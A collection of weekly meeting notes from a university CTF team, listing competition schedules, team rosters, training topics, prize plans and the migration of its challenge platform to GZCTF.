+Now we have 2 teams, all full.
+If you are not in either of them, please create a new team, and post the team invitation code in our group.
+Welcome everyone!
+Our party has been delayed several times, let's find a time to take a break in Hai Di Lao.
+Would it's fine this weekend?
+Our schedule is set to ByteCTF on this Sunday.
+But I also wrote some tutorials about the kernel pwn for you. It's a pleasure to share something about pwning.
+In the CTF, pwn is the most challenging part of all aspects. Usually, we divide pwn into 3 parts: stack, heap, and kernel.
+We already learned about the stack pwn (bof, rop, and rol). However, about the heap and the kernel, we still need to deal with them.
+In the kernel pwn, I would introduce several parts:
+After learning about this part, we can try to find some Linux kernel vulnerabilities, just like CVE-2021-3156 or CVE-2021-4034.
+ + + + + + + + +The current planning for the WD Cup semi-final is around November.
+Please submit your information before 10th, Oct.
+祝贺所有晋级队伍!请所有晋级半决赛的选手于10月10日前使用报名账号登录网鼎杯官网(https://www.wangdingcup.com),并按页面提示上传本人证件照片,照片将用于线下赛参赛证的制作。
+
+Congratulations to all the advancing teams! Please visit the official website of Netding Cup (https://www.wangdingcup.com) with your registration account before October 10 and follow the instructions on the page to upload your ID photo, which will be used for the production of your offline competition entry card.
+
+COMPASS CTF team has several works about the advertisement:
+CS315 Computer security course is the most interesting course in SUSTech. I really want to do some cool stuff in CS315.
+Discussion about the CS315.
+The Third "Xiang Yun Cup" Network Security Competition and the Fifth Jilin Province Student Network Security Competition (preliminary round)
+https://www.ichunqiu.com/competition/detail/293
+The organizer of the competition: Office of Network Security and Informatization Committee of the CPC Jilin Provincial Committee, Jilin Provincial Department of Education, Jilin Provincial Administration of Government Services and Digital Construction +Organizer: Jilin Jilin Xiangyun Information Technology Co. +Co-organizer: Beijing Yongxin Zhicheng Technology Co.
+Not sure about the exeat recent days.
+If the time arrangement is fine, let's have our offline activity soon.
+If you remember about the qwb, our honor certificates are delivered to the university. We have amazing ranks in this game, and congratulations to all participators.
+We can take a photo together in offline party.
+I've updated a vmware pro distribution in the usb drive.
+If you have other suggestions, please contact me.
+We have received some suggestions about CS315 recently. The main discussion about the CS315 is listed below:
+Prof. Zhang takes lots of effects to make CS315 interesting and worthy. I'm also want to have a valuable chance to introduce CTF. We are updating and improving CS315 these days.
+If you have any suggestions, please contact us.
+The past 2 weeks are busy and chaotic. I have some family affairs to deal, and got stomach flu these days. Sorry about my absence in the training.
+We would back to normal after the holiday.
+Looking forward to sharing and learning with you!
+https://xiangyuncup.ichunqiu.com/
+Sign up: 2022-09-30 10:00:00 - 2022-10-27 10:00:00
+Sign in: 2022-10-29 09:00:00 - 2022-10-30 21:00:00 (Online)
+Information about recent years' XiangYun Cup:
+1. Anti-cheating is nothing, no team got banned.
+2. Misc is trash-bin.
+
+https://ctf.show/challenges
+The event is over now. But the challenges are great, and we still can submit flag.
+https://cybersecurityrumble.de/
+Online: 2022-10-09 01:00:00 - 2022-10-10 01:00:00
+The (Cyber) CyberSecurityRumble Germany is back!
+The CSR this year will be a 24h online Jeopardy style CTF. +Max Team size is 6 Hackers! +Everybody is allowed to participate online.
+Again we'll have tasks in all categories: pwn, rev, crypto, web, ... from beginner friendly to 31337!
+Next year we'll hopefully have an onsite final again!
+ + + + + + + + +https://hack.lug.ustc.edu.cn/
+USTC Hackergame 2022 Official QQ group: 849778309
+The 9th Annual University of Science and Technology of China Information Security Competition 2022 is about to open. This competition is held online and lasts up to a week, with a gradient of difficulty in the questions. In the main atmosphere of exploring and solving puzzles, contestants will compete with various levels.
+The competition will improve the quality of the questions while also having a step-by-step guide for newcomers, which will hopefully bring a good competition experience to each contestant. We welcome your active participation and wish you satisfactory results!
+According to the previous schedule, the training plan for this weekend is reverse engineering
.
Special thanks to the @Frankss for the sharing of GDB and Dynamic Reverse
.
Reference for this weekend:
+https://asisctf.com/
+The competition starts tomorrow.
+Each team is only allowed to participate under one name.
+There is no restriction on the number of team members.
+If you have questions about tasks, ask moderators in Discord chat or email. No points will be deducted for these questions.
+If this is the first time you play over, you should know that a flag is a sentence or code that you should find in each level. There is no exact procedure to find them, you have to do several tests and think out of the box to get them. Eventually, you'll understand the dynamics of the CTF and how to quickly solve challenges.
+If you are sure your flag is true (we mean %100 SURE), but our system does not accept it, inform us via chat.
+Reporting bugs in the contest infrastructure has a reward.
+Thou shalt not be a jerk. We are all here to learn something new.
+Any attempt to disrupting the contest will result in disqualification.
+We have a dynamic scoreboard. That means the more teams solve a challenge, the less point each team gets. The formula is:
+All flags must be in this form: ASIS{[0-9a-zA-Z_-]+.!?|}, unless the contrary is stated. Flag example: ASIS{_some_l33t_string_l1k3_7hi5_}
There would be at least 16 tasks.
+You can find the latest news and announcements about this contest on the announcements page.
+Registration will be open until the end of the game.
+ + + + + + + + +https://www.ichunqiu.com/competition/detail/293
+https://xiangyuncup.ichunqiu.com/
+There is 1 team:
+No | +Name | +
---|---|
1 | +邬一帆 | +
2 | +李照 | +
3 | +朱弘 | +
4 | +严文谦 | +
5 | +朱嘉楠 | +
Topic: PWN, stack, heap, and kernel.
+Contents of this weekend:
+The sharing topic would be: how to design a CTF challenge.
+https://ctftime.org/event/1727
+Friday, 28 October 2022, 16:00 UTC — Sunday, 30 October 2022, 16:00 UTC
+Hack.lu CTF 2022 is organized as usual by FluxFingers, the CTF team of Ruhr-University Bochum (Germany). This will be the 13th Hack.lu CTF held by us.
+https://ctftime.org/event/1776
+Friday, 28 October 2022, 11:37 UTC — Sunday, 30 October 2022, 12:37 UTC
+Welcome to Cyber Demon, hacker. Now kill PulseAudio and start pwning, there’s no time to waste! We’re talking total undefined behavior against the forces of GNU with the only thing standing between a shell and a segfault is you – one angry hacker with an editor and a bad attitude.
+https://ctftime.org/event/1738
+Friday, 28 October 2022, 19:00 UTC — Sunday, 30 October 2022, 19:00 UTC
+A jeopardy-style CTF organized by the University of Delaware's own CTF team, that covers topics from crypto and pwn to rev and web. High-school, undergraduate, graduate, mixed, and professional teams with up to four members are allowed to compete in separate buckets. This competition is supported by the Electrical and Computer Engineering Department, Center for Cybersecurity, Assurance and Privacy, Trustworthy Computing Group, Cloud Crypto VIP Team, and Cyber Scholars at the University of Delaware. We extend our gratitude to our sponsors listed at the event URL. Registration opens September 2nd.
+ + + + + + + + +Topic: Modern cryptography, ECC, RC4, and AES.
+Please please please if you want to share some topics, contact me. I've shared by myself for 3 weeks!
+ +We will cover the modern part of Cryptography including public key encryption, modern symmetric cryptography, and some mathematics knowledge about the cryptography.
+If you are interested in the zero-knowledge proof, today we have a lecture about that at 4:00 pm in the 551 meeting room.
+The idea is a brief now, if you have any challenges want to put in this game, please contact me.
+The game includes 2 parts:
+The prize would include an SSD drive with a penetration environment on it.
+The game will invite beginners in cybersecurity and everyone who want to have a relaxed weekend. We have 2 goals:
+Sat, 12 Nov 2022, 13:00 CST — Sun, 13 Nov 2022, 13:00 CST
+https://platform.id.seccon.jp/
+This year, we will hold an online qualification round and on-site finals.
+The finals will be in Tokyo From Feb. 11 to Feb. 12 and have international and domestic divisions.
+https://ctf.show/challenges
+比赛名称:菜狗杯
+比赛时间:2022年11月11日20时,共48小时
+比赛类型:个人赛
+比赛难度:轻轻松松,量大管饱,没有逆向和pwn
+比赛奖品:菜狗(可绿可粉)
+非强制规定:有npy人士禁止参加
+Now in the preparation stage, the competition time is undetermined.
+ + + + + + + + +Topic: Modern cryptography, ECC, RC4, and AES.
+Please please please if you want to share some topics, contact me. I've shared by myself for 3 weeks!
+ +We will cover the modern part of Cryptography including public key encryption, modern symmetric cryptography, and some mathematics knowledge about the cryptography.
+If you are interested in the zero-knowledge proof, today we have a lecture about that at 4:00 pm in the 551 meeting room.
+The idea is a brief now, if you have any challenges want to put in this game, please contact me.
+The game includes 2 parts:
+The prize would include an SSD drive with a penetration environment on it.
+The game will invite beginners in cybersecurity and everyone who want to have a relaxed weekend. We have 2 goals:
+Sat, 12 Nov 2022, 13:00 CST — Sun, 13 Nov 2022, 13:00 CST
+https://platform.id.seccon.jp/
+This year, we will hold an online qualification round and on-site finals.
+The finals will be in Tokyo From Feb. 11 to Feb. 12 and have international and domestic divisions.
+https://ctf.show/challenges
+比赛名称:菜狗杯
+比赛时间:2022年11月11日20时,共48小时
+比赛类型:个人赛
+比赛难度:轻轻松松,量大管饱,没有逆向和pwn
+比赛奖品:菜狗(可绿可粉)
+非强制规定:有npy人士禁止参加
+Now in the preparation stage, the competition time is undetermined.
+ + + + + + + + +I just participated in the X-MAS CTF yesterday, and the topic is very difficult, and I am finishing up the related Writeup and summary.
+Some of the more impressive topics are
+Until the last step is normal forensic, however, the last step needs to crack KeePass (a password saving database software), the master obtained in the middle is not directly used for decryption, but needs to attack the encryption mode of KeePass2, by giving the KEY HASH of the file and the uncorrupted MASTER KEY, the .kdbx The encrypted data in the file is extracted and deciphered using its own cryptographic scheme.
+The process of database injection into RCE, the exact implementation I will write in WP.
+Finally, it is very sad that I am the only one who participated in many of the recent competitions, probably due to the end of the semester. As a member of the CTF team, I hope you can participate in more competitions.
+Jule CTF: As of 12.24.2022 08:00, I have not participated in previous competitions and cannot provide information.
+Damncon 2022: As of 12.24.2022 23:00, I have not participated in previous tournaments and cannot provide information.
+Spring Cup Winter 2022: Registration required, tournament as of 12.25.2022 18:00, some great topics were done at the Spring tournament, looking forward to this Winter tournament for students who advanced to expert difficulty.
+niteCTF: As of 12.26.2022 0:00, a very good race, great experience last year for beginners and advanced difficulty.
+The above tournaments are the rest of the year's events, and I am immensely looking forward to having you all join me.
+In this COMPASS CTF 2022, there were 31 participants who completed at least the check-in questions, and the number of prizes expected to be awarded was 15, but in practice I only collected information from the top 15 participants (i.e., there would be fewer than 15 prizes).
+I collected a total of 10 winners who were willing to claim their prizes, so some adjustments will be made to the prize list, which is still a work in progress.
+If you have good ideas for this contest, feel free to give suggestions.
+Note, this is the list of prizes we started with.
+Therefore, the original prize budget was ¥1,201, but now the prize budget will be adjusted downward due to the reduction of participants.
+This is just a preliminary idea, and I'm still trying to explore this route myself.
+Idea from Hongyi Lu: one could take advantage of the fact that vulnerabilities are often reproduced in CTF to examine the CVE vulnerabilities mentioned in the paper, and perhaps improve on those implementations.
+For me, it is also very encouraging for people to actively participate in academic research. We often explore new and untouched work in the course of our cybersecurity practice, and these can be part of academic innovation.
+I will also invite faculty members in the lab who are dedicated to academic work to give some valuable advice and share.
+COMPASS TEAM in addition to competition work, our work also includes providing science/teaching/guidance for the field of cyber security so that more people are willing to learn cyber security, and we also hope to get more outstanding students to join COMPASS Lab.
+As part of COMPASS Lab's promotion and COMPASS TEAM's contribution to cybersecurity, I plan to open COMPASS TEAM accounts on multiple platforms to promote our work.
+For different social media, I have planned different focuses, and the following accounts are planned now.
+If you have another social platform to recommend, or have suggestions for guidance on our publicity work, welcome to communicate with me.
+I am communicating with the Information Center and Ms. Qingxia Li to open a COMPASS TEAM email address, which will hopefully facilitate the promotion of the event and lecture/training publicity afterwards.
+Since the past, we have been using CRA's public mailbox, which has caused a lot of inconvenience. I hope this work will be convenient for us when it is completed.
+During the winter break, I did not schedule a training program.
+However, there will be several race summaries and reviews, and also some catechisms/videos will be recorded and posted, so you can actively participate if you wish.
+After each semester, I recalculate the activity and commitment of the varsity members, hoping that everyone will still maintain their passion for cybersecurity.
+I'll be adjusting the roster of active and core members, and perhaps the composition of the team as well. I'll get back to you with the results in the next few days.
+I'll post a question paper later, please submit if you are still interested in the CTF (and active in the CTF).
+ + + + + + + + +We are happy that we are here in 2023 and thank all members for their efforts in the past year. In the first (actually the second) all-volunteer weekly meeting this year, we will summarize the work and achievements of last year and designate the annual plan for 2023.
+Perhaps you have noticed that in this weekly meeting, I have restructured the weekly meeting. Based on the results of the previous questionnaire collection, I got some valuable suggestions about the weekly meetings.
+In the future, I will still use Markdown to design the document, compared to Latex, although Latex has a better presentation, Markdown saves a lot of time in writing the document, and our time is too precious to waste in compiling and adjusting the document, and I will not use PPT for the weekly meeting. The document for the weekly meeting will follow the following format.
+Work tracking: Many plans that were once confidently ready to be implemented were not completed due to a lack of progress tracking. In future meetings, I will add a progress tracking section to report on the progress of the work.
+This week's content discussion: Keeping the style of the previous weekly meeting, I will list the discussion items for this week's weekly meeting, and hope to describe the details of each plan and item in detail while synchronizing the content follow-up. This is the discussion session, I hope everyone can actively give suggestions on the plans and matters, more discussion often means better results.
+Wrap-up (Summary): A final summary of the content of this week's weekly meeting. If you do not have time to attend the weekly meeting discussion and do not intend to read the lengthy details of the discussion items after the weekly meeting, you can quickly follow up on the progress of this week's weekly meeting discussion through the outline and summary of the content discussion.
+I have restructured some of the documents, and the main elements include.
+archived the CS315 file for 2021 and placed it in the 2021 folder.
+filed the weekly meeting documents for 2022, divided them into two parts, the first half and the second half, and placed them in different folders.
+In addition, some work was done on resizing the images. Git is not a supported binary versioning tool (unlike SVN), our repo is on GitHub, and I am not a paid member of GitHub, so although there is no repository size limit for the free version, I still want to reduce the size of our binary files to reduce the size of our repository I'm not a paid member of GitHub either.
+The initial work was to resize all the image files to a fraction of their original size and try not to compromise image quality.
+ +I hope you can pay attention to the following conventions when submitting a Pull Request.
+All material files (images, attachments, etc.) should be placed under the assets/ folder as much as possible.
+For uncompressed high-quality images (such as direct screenshots or downloaded originals), please include the _hd
field after the image name so that I can find the image that needs to be compressed when adjusting it.
Future work related to the wiki.
+adjust the bilingual language support: Mkdocs natively support multi-language localization, we only used English as a language when creating the wiki, as a first/second language that almost global users know, I considered the convenience. However, our first language is Chinese, and reading English documents is much slower than Chinese documents, I will consider adding Chinese support.
+adjust the content structure: wiki content structure today as a CTF all-in-one reference wiki, but there are still many shortcomings. I hope that while providing toolkits, web resource references, and writeups, more categories can be added to facilitate CTF learning.
+We have achieved some results in FY2022, but we also have some unfinished business.
+Memorable accomplishments.
+We participated in the "Top Geeks" competition held by the Chengdu government and came in 10th place in the finals.
+We participated in the "Wangding Cup" competition held by the National Internet Information Office and the Ministry of Public Security, and got 8th place in the preliminary round and advanced to the final round.
+The HED team won 1st place in the "Winter Competition" of iChunqiu.
+We participated in the "Student Cyber Security Competition" held by Guangdong Provincial Government and advanced to the final round.
+In the CTFtime 2022 ranking, the COMPASS team achieved a total score of 83.569, ranking 32nd among Chinese teams.
+We participated in the "Strong Network Cup" competition held by the State Internet Information Office and the Zhengzhou government, and both teams got the "Strong Network Pioneer" certificate.
+Unfortunately, in 2022, we also have some matters that were once planned to go down the drain and remain unfinished. To review our 2022 objectively and fairly, I would like to summarize this part as well.
+CTF from practice to principles: I was inspired by Prof. Zhang in early 2022 to compile a book about CTF tutorials for true zero-based CTF beginners to make up for the shortcomings of today's CTF tutorial books that are still too difficult and the knowledge coverage fails to construct a big picture of CTF and network security. Unfortunately, so far I have only completed the outline and part of the first chapter of the book, and I hope to continue this work in 2023.
+Competition planning for new members: This is one of the main tasks of the varsity team, and despite our intensive weekly training, the number of members participating in competitions is still very insufficient. In the weekly meetings, I synchronize the competitions that will be held soon, but few new members intend to participate.
+Adjustment of the tournament platform: Unfortunately, although I had planned to adjust the topics and functions of the CTFd platform being used and made some rough proposals, this plan did not come to fruition in the end. After testing the new platform on 2023-01-07, I decided to use GZCTF as our new platform and abandon the original CTFd platform. I will transfer our original questions, entry test questions, and other high-quality tournament questions to GZCTF.
+Cooperation with the Information Center: At the beginning of the establishment of the varsity team, I communicated quite closely with a colleague from the Information Center ITS, would participate in each other's activities, and achieved some results in the construction of the network security. Unfortunately, after several lengthy and boring communications, annoying network problems, and a change in the attitude of the Information Center towards cyber security, ITS did not participate in many of the subsequent events we held. I regret that COMPASS TEAM's attempts to work with the Information Center to improve campus cybersecurity have largely failed, but I will still try to convince ITS to pursue this effort.
+We've reached 2023, and in a brand new year, it's time to make a new annual plan.
+CTFtime race plan: In the new year, I will try not to miss any race that has a CTFtime rating, to raise the visibility of COMPASS TEAM on the biggest international platform in the CTF field, and to move towards DEF CON 31 in August.
+Membership recruitment: We were very lucky to have two extremely talented new members of the class of 2022 join us before we even started our membership recruitment. In 2023, I will adjust the membership recruitment schedule and invite the best members to join us.
+Cross-platform science and awareness promotion: I am planning to create COMPASS TEAM social media accounts on multiple platforms, and I have chosen different content strategies for each different platform user group. Social media platforms are a great way to get the word out about our work, and those currently planned include.
+CSDN/Blog Garden: Reprint wiki content
+WeChat Public: Vulnerability analysis and summary
+Pediy (Kanxue) Forum: vulnerability recurrence and research
+Anquanke: technical summaries and tutorials
+Tiktok: Network Security Tips
+Twitter: publicity/results sharing
+Weibo: Activity dynamics and science popularization
+Zhihu account: writeup analysis
+Bilibili account: CTF science and teaching
+52pojie forum: Reverse engineering technologies sharing.
+CTF and research content combination: I always aspire to publish academic results, and it is fun to share my brand-new work contribution with others. Before that, I had only done a small amount of scientific work and still knew very little about how to publish a paper. Recently I've been talking with Hongyi Lu about trying to combine CTF content with academic papers. Much of what we are exposed to in CTF (especially in cryptography) seems to be very cutting edge, and I used to think that CTF is not accurate to just reproduce what has already been done. I hope to publish some work in 2023 as I explore the feasibility of combining CTF with research.
+Between 2023-01-07 and 2023-01-08, we had an intramural practice session to test the new GZCTF platform, which gave me a very good experience using the platform and confirmed the idea of replacing CTFd with GZCTF.
+ + +The beta version of the platform is currently open on port 29998 of the Detroit server. When I finish the container revision and title migration work, I will close the CTFd service on port 80 and move GZCTF to port 80. Meanwhile, the GZCTF data of the test period will be retained.
+A fresh start is the best start, I tend to clear the original user data to start from scratch and build a new and better platform. However, if you wish to keep your former account and keep your former solution records, I will also keep the data for you.
+For data preservation and migration, please contact email: liz33@mail.sustech.edu.cn, when you send it, you can copy it to Prof. Fengwei Zhang in COMPASS lab: zhangfw@sustech.edu.cn, I will finish the platform migration as soon as possible.
+Friday, 13 January 2023, 08:00 CST - Sunday, 15 January 2023, 08:00 CST
+A idekCTF event.
+Official URL: https://ctf.idek.team/
+Rating weight: 24.56
+Event organizers
+NOTE: The start time has been pushed back by 22 hours from what is listed here. The event will begin on Friday, January 13, 2023, at 22:00:00 UTC (1673647200). The event duration is still 48 hours.
+idekCTF is an information security CTF competition organized by the idek team and is aimed at high school and university students, with difficult challenges catering to more experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories.
+Saturday, 14 January 2023, 15:00 CST - Monday, 16 January 2023, 03:00 CST
+A Ugra CTF event.
+Official URL: https://2023.ugractf.ru/
+Rating weight: 0.00
+Event organizers
+Ugra CTF Quals 2023 is an open information security competition for beginners. It is a 36-hour online event. Everybody is welcome to participate.
+This CTF is organized by [team Team] in a joint effort with the Ugra Research Institute of Information Technologies and Information Technologies and Digital Development Department of the Khanty-Mansiysk Autonomous Okrug — Ugra.
+Teams of high school students and others are playing in separate scoreboards, but they will be merged upon uploading to CTFtime.
+Note: This year's challenges will be a bit easier than usual. If you enjoyed our previous years' Quals, come and join us at Ugra CTF Open 2023 which will be held June 2023.
+The official language of Ugra CTF is Russian, but you are welcome to participate even if you don’t speak it. We will try our best to ensure that no task relies on something that can’t be understood by proper use of machine translation.
+In this week's weekly meeting, we adjusted the format and content format of the weekly meeting conducted after the day to facilitate work progress tracking and planning. I proposed a new planned content adjustment of the Wiki page, hoping to make the Wiki content more suitable for CTF beginners and players' reference.
+In addition, we have reviewed the achievements of the 2022 varsity team, and also summarized the regrets and unfinished business of 2022, hoping to inspire us to continue our progress. At the same time, I have prepared many new plans for 2023.
+The work on the new platform has been in the planning since the second half of 2022, from trying to adjust the CTFd, and gradually changing to the new platform GZCTF was chosen. In the test conducted last week, the stability and usability of GZCTF were tested, and I plan to change the tournament platform to GZCTF.
+Finally, about the recent tournament matters. There will be two competitions this week, both of which are international competitions of CTFtime, and the idekCTF of which has CTFtime score weighting, so I hope students who can learn will participate.
+The above is the content of this week's weekly meeting, if you have any comments/suggestions, please feel free to contact me.
+ + + + + + + + +Happy New Year in advance to all of you! This is our last weekly meeting before the Spring Festival, and after the Spring Festival, we will start our plans and goals for the new year, so I hope we can still make progress together and build on our success.
+So far I have collected most of the questionnaire results from the members, with a total of 16 results from new members. Some of them are collected for the training of the last semester, and the other part is the comments and suggestions for the shortcomings of the previous training.
+For training participation, 50% of the members almost always/always participate in the weekly training program and 87.5% of the members would participate in the weekly training program, recommendations regarding training participation I will list later.
+Competition participation was unfortunate, with 18.8% of members participating in 3-5 competitions, while 62.5% of members participated in only 1-2 competitions. I encourage students to participate in more competitions, and I will follow your suggestions to improve the notification and participation format of the competitions.
+The day-to-day work of the varsity team includes the maintenance of the wiki page, the updating of the tournament question platform, and the future posting of content to our social media accounts, which is difficult for me to do alone and therefore requires help. Happily, 81.3% of the members are willing to assist with this part of the work.
+Regarding COMPASS lab, 56.2% of the members would like to participate in COMPASS lab research, choose COMPASS colleagues as mentors, or actively prepare to stay in COMPASS as graduate students. COMPASS is a very good environment and platform, and I hope that you would like to choose COMPASS as your future plan.
+Unfortunately, after a semester of working together, three members decided to retire, either choosing to continue their studies in other directions or finding that CTF did not fit their future plans. I would also like to wish the members who chose to retire a bright future.
+The training model in question. There are some very good suggestions under this issue, and I will combine the training content explanation with the topics in future training, starting from the perspective of sharing the topics and introducing what should be explained here.
+About the contest. I have matched teams according to everyone's intentions, and before the tournament, I would suggest participating through teams, even if you can only make one or two questions, you are contributing to this tournament all the same. In the tournament suggestions, I would make it a little easier to form teams.
+In the future, I will also pay attention to everyone's class schedule and CTF time. I will increase the frequency of activities when people are not too busy, and try not to take up too much time during the midterm and final periods.
+I try to make sure the team has no more than five players (four + substitutes) so that it can meet the number requirements for most tournaments. For tournaments with a ten-player limit, it is possible to combine two teams for the tournament.
+Due to such considerations, some students' team intentions were not met, so if you have any questions about team arrangements or are very interested in joining a particular team, you can also contact me and I will rearrange it.
+The tournament schedule for the winter break will be synced on my Google calendar and also made public each week in the group for the week. If it is a contest that requires advance registration for team formation, I will synchronize it higher. For the rest of January, here is the schedule of competitions, which students are free to choose their own time to participate in.
+Competition Name | +Link | +Start Time | +End Time | +Require pre-register | +
---|---|---|---|---|
Insomni'hack teaser 2023 | +https://insomnihack.ch/contests/ | +2023-1-20 20:00 | +2023-1-22 20:00 | +False | +
KnightCTF 2023 | +https://knightctf.com/ | +2023-1-20 23:00 | +2023-1-21 23:00 | +False | +
bi0sCTF 2022 | +https://ctf.bi0s.in/ | +2023-1-21 23:00 | +2023-1-22 23:00 | +False | +
西湖论剑网络安全技能大赛-初赛 | +https://game.gcsis.cn/ | +2023-2-02 00:00 | +2023-2-02 23:59 | +True | +
For members participating in the competition I suggest posting a link to your team invitation and a link to the competition in the group so that students who are also planning to join the competition can join the team more easily.
+In addition, there will be some basic content recording training to catch up on the basics of network security. These trainings will not take place at a fixed time, and most of them will be recorded. If it is an online meeting or a live broadcast, the corresponding recording will also be kept.
+The specific content selection I will complete in the near future and will be released on public channels as soon as possible.
+Two weeks ago, I submitted an OA request form to open all ports above 20,000 on the detroit server to accommodate the new GZCTF platform. The new platform assigns ports rather randomly, and the container assignment dependency library it uses does not have the ability to set port ranges, so if you want to limit the ports assigned to 20000-30000, you will need to make some ugly network level changes, which I prefer not to do.
+Besides, the originally requested 20,000-30,000 ports are getting stretched and may not meet our service needs in the future, requesting more ports is one solution (another solution is for me to open the docker containers on a public container hosting platform).
+After two long weeks of waiting, the OA file was marked as processed, but the ports were not open. ITS believes that requesting more than 30,000 ports will still require a new security scan and check, and intends to follow up with me via email (which I have not received so far).
+The migration of the GZCTF platform has been affected somewhat, and if the ports are not open, then the dynamic and static container features of GZCTF will not be available off-campus, and I will not be able to run practice rounds on GZCTF (as all topics using containers will not work).
+Suffice it to say that the GZCTF migration progress is being blocked by the progress of the ITS application.
+I will continue to follow up on the progress of the port application and hope to finish it as soon as possible.
+It has been listed above and will not be repeated.
+The restructuring of new members and team assignments are almost complete, and I have taken some good advice and made adjustments to future plans.
+The tournament schedule will make it as easy as possible for students to form teams and hopefully participate in more tournaments. I have listed the recent tournament schedule and the rest of the winter break plans are being designed and will be made public in a few days.
+The migration of the GZCTF platform has been delayed by the slow progress of ITS, which I am following up on.
+ + + + + + + + +After the end of the Spring Festival, I am working on the work matters planned for the year before, and we are also participating in the West Lake Sword Tournament today, so I wish you all continue to move forward in the next semester.
+Just a game.
+Inspired by an entertainment contest mentioned in a chat, I am working on the content design and topic design, about 20 questions or so, there will be some simple promotion in QQ group/CTFtime, not a serious cyber security RW vulnerability contest, but entertainment for beginners.
+The contest is tentatively scheduled for Feb 26 - Feb 27, 2023, and will last for 24 hours.
+In these tutorials, I will sync the written content to our wiki for use as an introduction to cybersecurity, currently selected content is
+This content will be updated gradually in the form of written materials or video images and will not be available in offline training sessions.
+For the spring 2023 program, we will continue to use the same weekly training format as before, and we will accept your suggestions to add a sharing and combination of questions to the training and add more practical content in addition to theory.
+Each week, I will also post an archived replay of a recent competition, or a self-practice session on a selected topic, which you are free to arrange according to your schedule. Of course, if there is a competition planned for the week, the competition topic review will be delayed/reduced/canceled.
+In the spring 2023 program, we have two components: recruitment of new members and advanced training. After a semester of competition and training, everyone's cybersecurity level and ability have improved, and I will focus on deepening learning in a certain direction this semester.
+I will not recruit too many new members this semester, and the final recruitment will still be conducted through the competition, mainly for the freshmen of 2022, and the number of recruits will be mainly used to make up for the number of members who will graduate after this semester.
+The number of recruits will be used to make up for the number of members who will graduate after this semester. The spring 2023 offline training and competition questions will be updated on this page.
+I have updated the tournament calendar for February and here are the tournaments that will take place this week.
+Competition Name | +Link | +Start Time | +End Time | +Require pre-register | +
---|---|---|---|---|
西湖论剑网络安全技能大赛-初赛 | +https://game.gcsis.cn/ | +2023-02-02 10:00 | +2023-02-02 18:00 | +True/End | +
Byte Bandits CTF 2023 | +BB CTF | +2023-02-04 14:30 | +2023-02-05 14:30 | +False | +
DiceCTF 2023 | +DiceCTF 2023 | +2023-02-04 05:00 | +2023-02-06 05:00 | +False | +
I'm going to participate in competitions. For the team invite links, feel free to pm me or ask a question in the WeChat Group.
+We planned an upcoming recreational game and summarized what had been accomplished. Three new upcoming programs have been filed in the minutes of this weekly meeting.
+The remedial training materials for the basic content will be refined and released in the near future, including a series of training programs for spring 2023 with a replay of the race in question, which will also be updated in real-time.
+ + + + + + + + +We finished 87th in the Xihulunjian tournament, 1 challenge away from 60th place, so we are not in the final. We will still continue to compete in tournaments, and our first practice after the school year starts is February 19.
+The reproduction environment is being built, and various materials including attachments, descriptions and writeups have been collected to complete the topics that can be reproduced. The container environment will be on the new platform of GZCTF, and after the completion of this reproduction, the old platform will be gradually transferred, and the topics will be replaced by the new platform after the migration is completed.
+At present, GZCTF is open on port 29998 and has confirmed that the high-end port is open and can be used for testing and topic implementation.
+I have updated the tournament calendar for February and here are the tournaments that will take place this week.
+Competition Name | +Link | +Start Time | +End Time | +Require pre-register | +
---|---|---|---|---|
HSCSEC CTF 2023 | +https://race.hscsec.cn/ | +2023-02-11 00:00 | +2023-02-13 00:00 | +False | +
LA CTF 2023 | +https://lactf.uclaacm.com/ | +2023-02-11 12:00 | +2023-02-13 06:00 | +False | +
MHSCTF 2023 | +https://mhsctf2023.ctfd.io/ | +2023-02-02 01:00 | +2023-02-15 06:00 | +False | +
I'm working on the reproduction environment of Xihulunjian. The progress would update instantly on detroit server port 29998. The upcoming events are listed above.
+ + + + + + + + +Welcome back to the university. We are going to have our first training this semester in Feb. 19th. The location is 551 Meeting Room, Southern Tower of Engineering Department. Topics are listed below.
+After the CTF, if you are a student in SUSTech, we would have some prizes for top players.
+And for the top 5 players who haven't been in the CTF team / COMPASS lab, we would glad to invite you to join us.
+Rank | +ID | +Score | +
---|---|---|
1 | +Cerulime | +1373 | +
2 | +Ben | +1225 | +
3 | +cerium | +825 | +
4 | +Trust_04zh | +675 | +
5 | +nobody | +575 | +
6 | +CharlottE67 | +350 | +
7 | +12012430 | +275 | +
8 | +yxx | +200 | +
The prizes are being customized and will be given to the winners offline before the second week of training.
+I will continue to communicate with my colleagues in the COMPASS lab to try to integrate CTF with academic research. Currently, through communication with some CTF players, cryptography is the most closely integrated link between CTF and research. An example of this is the research described below.
+https://blog.trailofbits.com/2022/11/29/specialized-zero-knowledge-proof-failures/
+Fuzzing is likewise a relatively hot topic in research, and the following information is relevant.
+https://blog.trailofbits.com/2022/12/08/hybrid-echidna-fuzzing-optik-maat/
+Topic | +Category | +Attachment | +Date | +
---|---|---|---|
Network Sniff: Introduction | +Web | +https://ithelp.ithome.com.tw/articles/10245117 https://ithelp.ithome.com.tw/articles/10245119 https://ithelp.ithome.com.tw/articles/10246315 https://ithelp.ithome.com.tw/articles/10246917 |
+Feb. 19th, 2023 | +
Network Sniff: Multi-platform | +Web | +https://frida.re/docs/android/ | +Feb. 26th, 2023 | +
Network Scan | +Web | +https://websec.readthedocs.io/zh/latest/index.html | +March. 5th, 2023 | +
Ethereum and Solidity: Introduction | +Blockchain | +http://www.snowywar.top/?p=3848 | +March. 12th, 2023 | +
Ethereum and Solidity: Practice | +Blockchain | +http://www.snowywar.top/?p=3848 | +March. 19th, 2023 | +
IoT Security | +IoT | +https://paper.seebug.org/2048/ | +March. 26th, 2023 | +
PWN: Stack | +PWN | +https://ir0nstone.gitbook.io/notes/ | +April. 2nd, 2023 | +
PWN: Heap | +PWN | +https://ir0nstone.gitbook.io/notes/ | +April. 9th, 2023 | +
PWN: Kernel | +PWN | +https://ir0nstone.gitbook.io/notes/ https://paper.seebug.org/2036/ |
+April. 16th, 2023 | +
Reverse Enginnering | +RE | +https://0xinfection.github.io/reversing/ | +April. 23th, 2023 | +
Real-World Cryptography | +Cryptography | +https://vitalik.ca/index.html | +April. 30th, 2023 | +
Real-World Security: Penetration | +RW | +https://www.ired.team/ | +May. 7th, 2023 | +
Real-World Security: Malware | +RW | +https://www.ired.team/ | +May. 14th, 2023 | +
Real-World Security: Summary | +RW | +https://www.ired.team/ | +May. 21st, 2023 | +
This weekend we would participate in the pbctf
, which is one of the top events. Another competition is also interesting.
